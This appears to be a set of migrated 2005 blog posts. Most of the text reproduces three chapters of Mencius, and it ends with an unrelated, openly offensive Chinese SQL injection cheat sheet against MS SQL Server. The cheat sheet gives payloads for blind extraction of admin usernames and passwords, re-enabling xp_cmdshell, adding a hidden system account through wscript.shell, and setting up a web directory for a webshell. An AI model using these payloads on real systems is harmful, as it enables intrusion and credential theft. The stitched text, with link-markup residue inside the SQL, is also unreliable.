孟子 – 梁惠王上

(迁移自:MSN Spaces-个人日记 – 2005-4-26 23:34)

梁惠王上

孟子见梁惠王,王曰:“叟,不远千里而来,亦将有以利吾国乎?”孟子对曰:“王,何必曰利,亦有仁义而已矣。王曰何以利吾国,大夫曰何以利吾家,士庶人曰何以利吾身,上下交征利而国危矣。万乘之国,弑其君者,必千乘之家;千乘之国,弑其君者,必百乘之家。万取千焉,千取百焉,不为不多矣。苟为后义而先利,不多不餍。未有仁而遗其亲者也,未有义而后其君者也。王亦曰仁义而已矣,何必曰利!”

孟子见梁惠王,王立于沼上,顾鸿雁麋鹿,曰:“贤者亦乐此乎?”孟子对曰:“贤者而后乐此,不贤者虽有此不乐也。诗云:经始灵台,经之营之,庶民攻之,不日成之,经始勿亟,庶民子来,王在灵囿,麋鹿攸伏,麋鹿濯濯,白鸟鹤鹤,王在灵沼,于轫鱼跃。文王以民力为台为沼,而民欢乐之,谓其台曰灵台,谓其沼曰灵沼。乐其有麋鹿鱼鳖。古之人与民偕乐,故能乐也。汤誓曰:时日害丧,予及汝偕亡。民欲与之偕亡,虽有台池鸟兽,岂能独乐哉!”

梁惠王曰:“寡人之于国也,尽心焉耳矣。河内凶,则移其民于河东,移其粟于河内。河东凶亦然。察邻国之政,无如寡人之用心者。邻国之民不加少,寡人之民不加多。何也?”孟子对曰:“王好战,请以战喻。填然鼓之,兵刃既接,弃兵曳甲而走,或百步而后止,或五十步而后止。以五十步笑百步,则何如?”曰:“不可。直不百步耳,是亦走也。”曰:“王如知此,则无望民之多于邻国也。不违农时,谷不可胜食也。数罟不入污池,鱼鳖不可胜食也。斧斤以时如山林,材木不可胜用也。谷与鱼鳖不可胜食,材木不可胜用,是使民养生丧死无憾也。养生丧死无憾,王道之始也。五亩之宅,树之以桑,五十者可以衣帛矣。鸡豚狗彘之畜,无失其时,七十者可以食肉矣。百亩之田,勿夺其时,数口之家,可以无饥矣。谨庠序之教,申之以孝悌之义,颁白者不负戴于道路矣。七十者衣帛食肉,黎民不饥不寒,然而不王者,未之有也。狗彘食人食而不知检,途有饿莩而不知发。人死,则曰:非我也,岁也。是何异于刺人而杀之,曰:非我也,兵也。王无罪岁,斯天下之民至焉。“

梁惠王曰:“寡人愿安乘教。”孟子对曰:“杀人以梃与刃,有以异乎?”曰:“无以异也。”“以刃与政,有以异乎?”曰:“无以异也。”曰:“庖有肥肉,厩有肥马,民有饥色,野有饿莩,此率兽而食人也。兽相食,且人恶之,为民父母,行政不免于率兽而食人,恶在其为民父母也?仲尼曰:始作佣者,其无后乎!为其象人而用之也,如之何其使斯民饥而死也?”

梁惠王曰:“晋国,天下莫强焉,叟之所知也。及寡人之身,东败于齐,长子死焉;西丧地于秦七百里;南辱与楚。寡人耻之,愿比死者一洒之,如之何则可?”孟子对曰:“地方百里而可以王。王如施仁政于民,省刑罚,薄税敛,深耕易耨。壮者以暇日,修其孝悌忠信,入以事其父兄,出以事其长上。可使制梃以挞秦楚之坚甲利兵矣。彼夺其民时,使不得耕耨以养其父母,父母冻饿,兄弟妻子离散,彼陷溺其民。王往而征之,夫谁与王敌?故曰:仁者无敌。王请勿疑。”

孟子见梁惠王。出,语人曰:“望之不似人君,就之而不见所畏焉。卒然问曰:’天下恶乎定?’吾对曰:’定于一’’孰能一之?’对曰:’不嗜杀人者能一之。’’孰能与之?’对曰:’天下莫不与也。王知夫苗乎?七八月之间旱,则苗槁矣。天油然作云,沛然下雨,则苗渤然兴之矣。其如是,孰能御之?今夫天下之人牧,未有不嗜是人者也,如有不嗜杀人者,则天下之民,皆引领而望之矣。诚如是也,民归之,由水之就下,沛然谁能御之?’”

 

齐宣王问曰:“齐桓晋文之事,可得而闻乎?”孟子对曰:“仲尼之徒,无道桓文之事者,是以后世无传焉,臣未之闻也。无以,则王乎。”曰:“德何如,则可以王矣?”曰:“保民而王,莫之能御也。”曰:“若寡人者,可以保民乎哉?”曰:“可。”曰:“何由知吾可也?”曰:“臣闻之胡纥曰:’王坐于堂上,有牵牛而过堂下者,王见之,曰:“牛何之?”对曰:“将以鑫钟。”王曰:“舍之。吾不忍其觳觫,若无罪而就死地。”对曰:“然则废鑫钟与?”曰:“何可废也,以羊易之。”’不识有诸?”曰:“有之。”曰:“是心足以王矣。百姓皆以王为爱也,臣固知王之不忍也。”王曰:“然。诚有百姓者!齐国虽偏小,吾何爱一牛。即不忍其觳觫,若无罪而就死地。故以羊易之也。”曰:“王无异于百姓之以王为爱也。以小易大,彼恶知之?王若隐其无罪而就死地,则牛羊何择焉?”王笑曰:“是诚何心哉?我非爱其财,而易之以羊也,宜乎百姓之谓我爱也。”曰:“无伤也,是乃仁术也,见牛而未见羊也。君子之于禽兽也,见其生,不忍见其死;闻其声,不忍食其肉。是以君子远庖厨也。”王说曰:“诗云:他人有心,予忖度之。夫子之谓也。夫我乃行之,反而求之,不得吾心,夫子言之,于我心有戚戚焉。此心之所以合于王者何也?”曰:“有复于王者曰:吾力足以举百钧,而不足以举一羽;明足以察秋毫之末,而不见舆薪。则王许之乎?”曰:“否。”“今恩足以及禽兽,而功不至于百姓者,独何与?然则一羽之不举,为不用力焉;舆薪之不见,为不用明焉;百姓之不见保,为不用恩焉。故王之不王,不为也,非不能也。”曰:“不为者与不能者之形,何以异?”曰:“挟大山以超北海,语人曰:我不能。是诚不能也。为长者折枝,语人曰:我不能。是不为也,非不能也。故王之不王,非挟大山以超北海之类也,王之不王,是折枝之类也。老吾老,以及人之老;幼吾幼,以及人之幼,天下可运于掌。诗云:刑于寡妻,至于兄弟,以御于家邦。言举斯心,加诸彼而已。故推恩足以保四海,不推恩无以保妻子。古之人所以大过人者无他焉,善推其所为而已矣。今恩足以及禽兽,而功不至于百姓者,独何与?权然后知轻重,度然后知长短,物皆然,心为甚。王请度之。抑王兴甲兵,危士臣,构怨于诸侯,然后快于心与?”王曰:“否。吾何快于是!将以求吾所大欲。”“可得闻与?”王笑而不言。曰:“为肥甘不足于口与?轻暖不足于体与?抑为采色不足视于目与?声音不足听于耳与?便嬖不足使令于前与?王之诸臣,皆足以供之,而王岂为是哉?”曰:“否。吾不为是也。”曰:“然则王之所大欲可知已。欲辟土地,朝秦楚,莅中国而抚四夷也。以若所为,求若所欲,犹缘木而求鱼也。”王曰:“若是其甚与?”曰:“殆有甚焉。缘木求鱼,虽不得鱼,无后灾。以若所为,求若所欲,尽心力而为之,后必有灾。”曰:“可得闻与?”曰:“邹人与楚人战,则王以为孰胜?”曰:“楚人胜。”曰:“然则小固不可以敌大,寡固不可以敌众,弱固不可以敌强。海内之地,方千里者九,齐集有其一,以一服八,何以异于以邹敌楚哉?盖亦反其其本矣。今王发政施仁,使天下仕者,皆欲立于王之朝,耕者皆欲耕于王之野,商贾皆欲藏于王之市,行旅皆欲出于王之途,天下之欲疾其君者,皆欲赴诉于王。其 若是,孰能御之?”王曰:“吾昏,不能进于是矣。愿夫子辅吾志,明以教我。我虽不敏,请尝试之。”曰:“无恒产而有恒心者,惟士为能。若民,则无恒产,因 无恒心,苟无恒心,放辟邪侈,无不为已。及陷于罪,然后从而刑之,是罔民也。焉有仁人在位,罔民而可为也。是故明君制民之产,必使仰足以事父母,俯足以畜 妻子,乐岁终身饱,凶年免于死亡。然后驱而之善,故民之从之也轻。今也制民之产,仰不足以事父母,俯不足以畜妻子,乐岁终身苦,凶年不免于死亡,此惟救死 而恐不赡,奚暇治礼义哉!王欲行之,则盍反其本矣。五亩子罕宅,树之以桑,五十者可以衣帛矣。鸡豚狗彘之畜,无失其时,七十者可以食肉矣。百亩之田,勿夺 其时,八口之家,可以无饥矣。谨庠序之教,申之以孝悌之义,颁白者不负戴于道路矣。老者衣帛食肉,黎民不饥不寒,然而不王者,未之有也。”

孟子 – 梁惠王下

(迁移自:MSN Spaces-个人日记 – 2005-4-26 23:36)

梁惠王下

庄暴见孟子曰:“暴见于王,王语暴以好乐,暴未有以对也。曰好乐何如?”孟子曰:“王之好乐甚,则齐国其庶几乎!”他日见于王曰:“王尝语庄子以好乐,有诸?”王变乎色曰:“寡人非能好先王之乐也,直好世俗之乐耳。”曰:“王之好乐甚,则齐国其庶几乎!今之乐,犹古之乐也。”曰:“可得闻与?”曰:“独乐乐,与人乐乐,孰乐?”曰:“不若与人。”曰:“与少乐乐,与众乐乐,孰乐?”曰:“不若与众。”“臣请为王言乐。今王鼓乐于此,百姓闻王钟鼓之声,管龠之音,举疾首蹙额而相告曰:’吾王之好鼓乐,夫何使我至于此极也?父子不相见,兄弟妻子离散。’今王田猎于此,百姓闻王车马之音,见羽旄之美,举疾首蹙额而相告曰:’吾王之好田猎,夫何使我至于此极也?父子不相见,兄弟妻子离散。’此无他,不与民同乐也。今王鼓乐于此,百姓闻王钟鼓之声,管龠之音,举欣欣然有喜色而相告曰:’吾王庶几无疾病与,何以能鼓乐也?’今王田猎于此,百姓闻王车马之音,见羽旄之美,举欣欣然有喜色而相告曰:’吾王庶几无疾病与,何以能田猎也?’此无他,与民同乐也。今王与百姓同乐,则王矣。”

齐宣王问曰:“文王之囿,方七十里,有诸?”孟子对曰:“于传有之。”曰:“若是其大乎?”曰:“民犹以为小也。”曰:“寡人之囿,方四十里,民犹以为大,何也?”曰:“文王之囿,方七十里,刍荛者往焉,雉兔者往焉。与民同之,民以为小,不亦宜乎?臣始至于境,问国之大禁,然后敢入。臣闻郊关之内,有囿方四十里,杀其麋鹿者,如杀人之罪。则是方四十里,为阱于国中,民以为大,不亦宜乎?”

齐宣王问曰:“交邻国有道乎?”孟子对曰:“有。惟仁者为能以大事小。是故汤事葛,文王事昆夷。惟智者为能以小事大。故大王事獯鬻,句践事吴。以大事小者,乐天者也。以小事大者,畏天者也。乐天者保天下,畏天者保其国。诗云:畏天之危,于时保之。”王曰:“大哉言矣!寡人有疾,寡人好勇。”对曰:“王请无好小勇。夫抚剑疾视曰:’彼恶敢当我哉?’此匹夫之勇,敌一人者也。王请大之。诗云:王赫斯怒,爰整其旅,以遏徂莒,以笃周祜,以对于天下。此文王之勇也。文王一怒而安天下之民。书曰:天降下民,作之君,作之师,惟曰其助上帝,宠之四方,有罪无罪惟我在,天下曷敢有越厥志?一人衡行于天下,武王耻之,此武王之勇也。而武王亦一怒而安天下之民。今王亦一怒而安天下之民,民惟恐王之不好勇也。”

齐宣王见孟子于雪宫。王曰:“贤者亦有此乐乎?”孟子对曰:“有。人不得,则非其上矣。不得而非其上者,非也。为民上而不与民同乐者,亦非也。乐民之乐者,民亦乐其乐。忧民之忧者,民亦忧其忧。乐以天下,忧以天下,然而不王者,未之有也。昔者齐景公问于晏子曰:’吾欲观于转附朝舞,遵海而南,放于琅邪,吾何修而可以比于先王观也?’晏子对曰:’善哉问也。天子适诸侯曰巡狩,巡狩者巡所守也。诸侯朝于天子曰述职,述职者述所职也。无非事者,春省耕而补不足,秋省敛而助不给。夏谚曰:吾王不游,吾何以休;吾王不豫,吾何以助。一游一豫,为诸侯度。今也不然,师行而粮食,饥者弗食,劳者弗息,涓涓胥谗,民乃作匿,方命虐民,饮食若流,流连荒亡,为诸侯忧。从流下而忘反谓之流,从流上而忘反谓之连,从兽无厌谓之荒,乐酒无厌谓之亡。先王无流连之乐,荒亡之行,惟君所行也。’景公说,大戒于国,出舍于郊,于是始兴发补不足,召大师曰:’为我作君臣相说之乐。’盖征招角招是也。其诗曰:畜君何尤。畜君者,好君也。”

齐宣王问曰:“人皆谓我毁明堂。毁诸,已乎?”孟子对曰:“夫明堂者,王者之堂也。王欲行王政,则勿毁之矣。”王曰:“王政可得闻与?”对曰:“昔者文王之治岐也,耕者九一,仕者世禄,关市讥而不征,泽梁无禁,罪人不孥。老而无妻曰鳏,老而无夫曰寡,老而无子曰独,幼而无父曰孤。此四者天下之穷民而无告者,文王发政施仁,必先斯四者。诗云:可矣富人,哀此茕独。”王曰:“善哉言乎!”曰:“王如善之,则何为不行?”王曰:“寡人有疾,寡人好货。”对曰:“昔者公刘好货,诗云:乃积乃仓,乃裹糇粮,于橐于囊,思戢用光,弓矢斯张,干戈戚扬,爰方启行。故居者有积仓,行者有裹粮也,然后可以爰方启行。王如好货,与百姓同之,于王何有?”王曰:“寡人有疾,寡人好色。”对曰:“昔者大王好色,爱厥妃。诗云:古公檀甫,来朝走马,率西水浒,至于岐下,爰及姜女,聿来胥宇。当是时也,内无怨女,外无旷夫。王如好色,与百姓同之,于王何有?”

孟子谓齐宣王曰:“王之臣,有托其妻子于其友,而之楚游者,比其反也,则冻馁其妻子,则如之何?”王曰:“弃之。”曰:“士师不能治士,则如之何?”王曰:“已之。”曰:“四境之内不治,则如之何?”王顾左右而言他。

孟子见齐宣王曰:“所谓故国者,非谓有乔木之谓也,有世臣之谓也。王无亲臣矣。昔者所进,今日不知其亡也。”王曰:“吾何以识其不才而舍之?”曰:“国君进贤,如不得已,将使卑逾尊,疏逾戚,可不慎与?左右皆曰贤,未可也;诸大夫皆曰贤,未可也;国人皆曰贤,然后察之,见贤焉,然后用之。左右皆曰不可,勿听;诸大夫皆曰不可,勿听;国人皆曰不可,然后察之,见不可焉,然后去之。左右皆曰可杀,勿听;诸大夫皆曰可杀,勿听;国人皆曰可杀,然后察之,见可杀焉,然后杀之。故曰国人杀之也。如此,然后可以为民父母。”

齐宣王问曰:“汤放桀,武王伐纣,有诸?”孟子对曰:“于传有之。”曰:“臣弑其君可乎?”曰:“贼仁者谓之贼,贼义者谓之残,残贼之人,谓之一夫。闻诛一夫纣矣,未闻弑君也。”

孟子见齐宣王曰:“为巨室,则必使工师求大木,工师得大木,则王喜,以为能胜其任也。匠人斫而小之,则王怒,以为不胜其任矣。夫人幼而学之,壮而欲行之,王曰:姑舍汝所学而从我,则何如?今有璞玉于此,虽万镒,必使玉人雕琢之。至于治国家,则曰姑舍汝所学而从我,则何以异于教玉人之雕琢玉哉?”

齐人伐燕,胜之。宣王问曰:“或谓国人勿取,或谓国人取之。以万乘之国,伐万乘之国,五旬而举之。人力不至于此,不取。必有天殃。取之,何如?”孟子对曰:“取之而燕民悦,则取之。古之人有行之者,武王是也。取之而燕民不悦,则勿取。古之人有行之者,文王是也。以万乘之国伐万乘之国,箪食壶浆,以迎王师,岂有他哉,避水火也。如水益深,如火益热,亦运而已矣。”

齐人伐燕,取之,诸侯将谋救燕。宣王曰:“诸侯多谋伐寡人者,何以待之?”孟子对曰:“臣闻七十里为政于天下者,汤是也。未闻以千里畏人者也。书曰:汤一征,自葛始,天下信之,东面而征,西夷怨,南面而征,北狄怨。曰:奚为后我?民望之若大旱之望云霓也。归市者不止,耕者不变,诛其君而吊其民,若时雨降,民大悦。书曰:奚我后,后来其苏。今燕虐其民,王往而征之,民 以为将拯己于水火之中也,箪食壶浆,以迎王师。若杀其父兄,系累其子弟,毁其宗庙,迁其重器,如之何其可也。天下固畏齐之强也,今又倍地而不行仁政,是动 天下之兵也。王速出令,反其旄倪,止其重器,谋于燕众,置君而后去之,则犹可及止也。”
邹与鲁哄,穆公问曰:“吾有司死者,三十三人,而民莫之 死也。诛之,则不可胜诛;不诛,则疾视其长上之死而不救。如之何则可也?”孟子对曰:“凶年饥岁,君之民,老弱转乎沟壑,壮者散而之四方者,几千人矣。而 君之仓廪实,府库充,有司莫以告。是上慢而残下也。曾子曰:戒之戒之,出乎尔者,反乎尔者也。夫民今而后得反之也,君无尤焉。君行仁政,斯民亲其上死其长 矣。”

滕文公问曰:“滕,小国也,间于齐楚,事齐乎,事楚乎?”孟子对曰:“是谋,非吾所能及也。无已,则有一焉。凿斯池也,筑斯城也,与民守之,效死而民弗去,则是可为也。”
滕文公问曰:“齐人将筑薛,吾甚恐,如之何则可?”孟子对曰:“昔者大王居豳,狄人侵之,去之岐山之下居焉,非择而取之,不得已也。苟为善,后世子孙必有王者矣。君子创业垂统,为可继也,若夫成功,则天也。君如彼何哉?强为善而已矣。”

滕 文公问曰:“滕,小国也,竭力以事大国,则不得免焉,如之何则可?”孟子对曰:“昔者大王居豳,狄人侵之,事之以皮币不得免焉,事之以犬马不得免焉,事之 以珠玉不得免焉。乃属其耆老而告之曰:狄人之所欲者,吾土地也,吾闻之也,君子不以其所以养人者害人,二三子何患乎无君,我将去之。去豳,逾梁山,邑于岐 山之下居焉。豳人曰:仁人也,不可失也。从之者如归市。或曰:世守也,非身之所能为也,效死勿去。君请择于斯二者。”

鲁平公将出,嬖人臧仓者请 曰:“他日君出,则必命有司所之。今乘舆已驾矣,有司未知所之,敢请。”公曰:“将见孟子。”曰:“何哉,君所为轻身以先于匹夫者?以为贤乎?礼义由贤者 出,而孟子之后丧逾前丧。君无见焉。”公曰:“诺。”乐正子入见曰:“君奚为不见孟轲也?”曰:“或告寡人曰:孟子之后丧逾前丧。是以不往见也。”曰: “何哉,君所谓逾者?前以士,后以大夫;前以三鼎,而后以五鼎与?”曰:“否。谓棺椁衣衿之美也。”曰:“非所谓逾也,贫富不同也。”乐正之见孟子曰: “克告于君,君为来见也,嬖人有臧仓者沮君,君是以不果来也。”曰:“行或使之,止或尼之。行止,非人所能也。吾之不遇鲁侯,天也,臧仓氏之子焉能使予不 遇哉?”

孟子 – 告子下

(迁移自:MSN Spaces-个人日记 – 2005-4-26 23:38)

告子下

任人有问屋庐子曰:“礼与食孰重?”曰:“礼重。”“色与礼孰重?”曰:“礼重。”曰:“以礼食,则饥而死。不以礼食,则得食。必以礼乎?亲迎,则不得妻。不亲迎,则得妻。必亲迎乎?”屋庐子不能对,明日之邹以告孟子。孟子曰:“于答是也何有!不揣其本而齐其末,方寸之木,可使高于岑楼。金重于羽者,岂谓一钩金与一舆羽之谓哉!取食之重者,与礼之轻者而比之,奚翅食重!取色之重者,与礼之轻者而比之,奚翅色重!往应之曰:轸兄之臂而夺之食,则得食,不轸则不得食,则将轸乎?逾东家墙而搂其处子,则得妻,不搂则不得妻,则将搂之乎?”

曹交问曰:“人皆可以为尧舜,有诸?”孟子曰:“然。”“交闻文王十尺,汤九尺,今交九尺四寸以长,食粟而已,如何则可?”曰:“奚有于是,亦为之而已矣。有人于此,力不能胜一匹雏,则为无力人矣。今曰举百钧,则为有力人矣。然则举乌获之任,是亦为乌获而已矣。夫人岂以不胜为患哉?弗为耳。徐行后长者谓之弟,疾行先长者谓之不弟。夫徐行者,岂人所不能哉?所不为也。尧舜之道,孝悌而已矣。子服尧之服,诵尧之言,行尧之行,是尧而已矣。子服桀之服,诵桀之言,行桀之行,是桀而已矣。”曰:“交得见邹君,可以假馆,愿留而受业于门。”曰:“夫道若大路然,岂难知哉?人病不求耳。子归而求之,有余师。”

公孙丑问曰:“高子曰:小弁,小人之诗也。”孟子曰:“何以言之?”曰:“怨。”曰:“固哉高叟之为诗也。有人于此,越人关弓而射之,则己谈笑而道之,无他,疏之也。其兄关弓而射之,则己垂涕泣而道之,无他,戚之也。小弁之怨,亲亲也。亲亲,仁也。固矣夫,高叟之为诗也。”曰:“凯风何以不怨?”曰:“凯风,亲之过小者也。小弁,亲之过大者也。亲之过大而不怨,是愈疏也。亲之过小而怨,是不可矶也。愈疏,不孝也,不可矶,亦不孝也。孔子曰:舜其至孝矣,五十而慕。”

宋迳将之楚,孟子遇于石丘,曰:“先生将何之?”曰:“吾闻秦楚构兵,我将见楚王说而罢之。楚王不悦,我将见秦王说而罢之。二王我将有所遇焉。”曰:“轲也请无闻其详,愿闻其指。说之将何如?”曰:“我将言其不利也。”曰:“先生之志则大矣,先生之号则不可。先生以利说秦楚之王,秦楚之王悦于利,以罢三军之师,是三军之士,乐罢而悦于利也。为人臣者,怀利以事其君,为人子者,怀利以事其父,为人弟者,怀利以事其兄,是君臣父子兄弟,终去仁义,怀利以相接。然而不亡者,未之有也。先生以仁义说秦楚之王,秦楚之王悦于仁义,而能罢三军之师,是三军之士,乐罢而悦于仁义也。为人臣者怀仁义以事其君,为人子者怀仁义以事其父,为人弟者怀仁义以事其兄,是君臣父子兄弟,去利怀仁义也。然而不王者,未之有也。何必曰利。”

孟子居邹,季任为任处守,以币交,受之而不报。处于平陆,储子为相,以币交,受之而不报。他日由邹之任见季子,由平陆之齐不见储子。屋庐子喜曰:“连得间矣。”问曰:“夫子之任见季子,之齐不见储子,为其为相与?”曰:“非也。书曰:享多仪,仪不及物。曰不享,惟不役志于享。为其不成享也。”屋庐子悦,或问之,屋庐子曰:“季子不得之邹,储子得之平陆。”

淳于髡曰:“先名实者为人也,后名实者自为也。夫子在三卿之中,名实未加于上下而去之,仁者固如此乎?”孟子曰:“居下位,不以贤事不肖者,伯夷也。五就汤,五就桀者,伊尹也。不恶污君,不辞小官,柳下惠也。三子者不同道也,其趋一也。一者何也?曰仁也。君子亦仁而已矣,何必同?”曰:“鲁穆公之时,公仪子为政,子柳子思为臣,鲁之削也滋甚。若是乎贤者之无益于国也?”曰:“虞不用百里奚而亡,秦穆公用之而霸。不用贤则亡,削何可得与?”曰:“昔者王豹处于淇,而河西善讴。绵驹处于高唐,而齐右善歌。华周杞梁之妻善哭其夫,而变国俗。有诸内必形诸外,为其事而无其功者,髡未尝睹之也。是故无贤者也,有则髡必识之。”曰:“孔子为鲁司寇,不用,从而祭,燔肉,不至,不税冕而行。不知者以为为肉也,其知者以为为无礼也。乃孔子则欲以微罪行,不欲为苟去,君子之所为,众人固不识也。”

孟子曰:“五霸者,三王之罪人也。今之诸侯,五霸之罪人也。今之大夫,今之诸侯之罪人也。天子适诸侯曰巡狩,诸侯朝于天子曰述职。春省耕而补不足,秋省敛而助不给。入其疆,辟土地,田野治,养老尊贤,俊杰在位,则有庆,庆以地。入其疆,土地荒芜,遗老失贤,掊克在位,则有让。一不朝则贬其爵,二不朝则削其地,三不朝则六师移之。是故天子讨而不伐,诸侯伐而不讨。五霸者,,搂诸侯以伐诸侯者也。故曰五霸者,三王之罪人也。五霸桓公为盛,葵丘之会诸侯,束牲载书而不歃血。初命曰:诛不孝,无易树子,无以妾为妻。再命曰:尊贤育才,以彰有德。三命曰:敬老慈幼,无忘宾旅。四命曰:士无世官,官事无摄,取士必得,无专杀大夫。五命曰:无由防,无遏籴,无有封而不告。曰:凡我同盟之人,既盟之后,言归于好。今之诸侯,皆犯此五禁,故曰今之诸侯,五霸之罪人也。长君之恶其罪小,逢君之恶其罪大。今之大夫,皆逢君之恶,故曰今之大夫,今之诸侯之罪人也。”

鲁欲使慎子为将军,孟子曰:“不教民而用之,谓之殃民。殃民者,不容于尧舜之世。一战胜齐,遂有南阳,然且不可。”慎子勃然不悦曰:“此则滑厘所不识也。”曰:“吾明告子,天子之地方千里,不千里,不足以待诸侯。诸侯之地方百里,不百里,不足以守宗庙这典籍。周公之封于鲁,为方百里也,地非不足,而俭于百里。大公之封于齐也,亦为方百里也。地非不足也,而俭于百里。今鲁方百里者五,子以为有王者作,则鲁在所损乎,在所益乎?徒取诸彼以与此,然且仁者不为,况于杀人以求之乎?君子之事君也,务引其君以当道,志于仁而已。”

孟子曰:“今之事君者曰:我能为君辟土地,充府库。今之所谓良臣,古之所谓民贼也。君不向道,不志于仁,而求富之,是富桀也。我能为君约与国,战必克之。今之所谓良臣,古之所谓民贼也。君不向道,不志于仁,而求为之强战,是辅桀也。由今之道,无变今之俗,虽与之天下,不能一朝居也。”

白圭曰:“吾欲二十而取一,何如?”孟子曰:“子之道,貉道也。万室之国,一人陶,则可乎?”曰:“不可,器不足用也。”曰:“夫貉,五谷不生,惟黍生之。无城郭宫室宗庙祭祀之礼,无诸侯币帛飨飧,无百官有司,故二十取一而足也。今居中国,去人伦,无君子,如之何其可也?陶以寡,且不可以为国,况无君子乎?欲轻之于尧舜之道者,大貉小貉也。欲重之于尧舜之道者,大桀小桀也。”

白圭曰:“丹朱之治水也愈于禹。”孟子曰:“子过矣。禹之治水,水之道也。是故禹以四海为

沟壑。今吾子以邻国为壑。水逆行,谓之洚水。洚水者,洪水也。仁人之所恶也。吾子过矣。”

孟子曰:“君子不亮,恶乎执?”

鲁欲使乐正子为政。孟子曰:“吾闻之,喜而不寐。”公孙丑曰:“乐正子强乎?”曰:“否。”“有知虑乎?”曰: “否。”“多闻识乎?”曰:“否。”“然则奚为喜而不寐?”曰:“其为人也好善。”“好善足乎?”曰:“好善优于天下,而况鲁国乎?夫苟不好善,则人将曰 迤迤。予既已知之矣,迤迤之声音颜色,距人于千里之外。士止于千里之外,则谗谄面谀之人至矣。与谗谄面谀之人居,国欲治,可得乎?”

陈子曰:“古之君子何如则仕?”孟子曰:“所就三,所去三。迎之致敬以有礼,言将行其言也,则就之。礼貌未衰,言 弗行也,则去之。其次,虽未行其言也,迎之致敬以有礼,则就之。礼貌衰,则去之。其下,朝不食,夕不食,饥饿不能出门户,君闻之曰:吾大者不能行其道,又 不能从其言也,使饥饿于我土地,吾耻之。周之,亦可受也。免死而已矣。”

孟子曰:“舜发于畎亩之中,傅说举于版筑之间,胶鬲举于鱼盐之中,管夷吾举于士,孙叔敖举于海,百里奚举于市。故 天将降大任于是人也,必先苦其心志,劳其筋骨,饿其体肤,空乏其身,行拂乱其所为,所以动心忍行,增益其所不能。人恒过,然后能改。困于心,衡于虑,而后 作。征于色,发于声,而后喻。入则无法家拂士,出则无敌国外患者,国恒亡。然后知生于忧患而死于安乐也。”

孟子曰:“教亦多术矣。予不屑之教诲也者,是亦教诲之而已矣。”

收集一些注入语句

标准注入语句
1.判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) —判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)–
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) —猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)—猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) —
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

group by users.id having 1=1–
group by users.id, users.username, users.password, users.privs having 1=1–
; insert into users values( 666, attacker, foobar, 0xffff )–

UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
UNION SELECT TOP 1 login_blank>_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul–

看_blank>服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)–

看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))–

判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and sa=(SELECT System_blank>_user)–
and user_blank>_name()=dbo–
and 0<>(select user_blank>_name()–

看xp_blank>_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)–

xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:/inetpub/wwwroot/xplog70.dll–

反向PING自己实验
;use master;declare @s int;exec sp_blank>_oacreate “wscript.shell”,@s out;exec sp_blank>_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–

加帐号
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:/WINNT/system32/cmd.exe /c net user jiaoniang$ 1866574 /add–

创建一个虚拟目录E盘:
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w “默认Web站点” -v “e”,”e:/”–

访问属性:(配合写入一个webshell)
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse

爆库 特殊_blank>技巧::%5c=/ 或者把/和/ 修改%5提交
and 0<>(select top 1 paths from newtable)–

得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)–
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9…. 得到更多的_blank>数据库名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
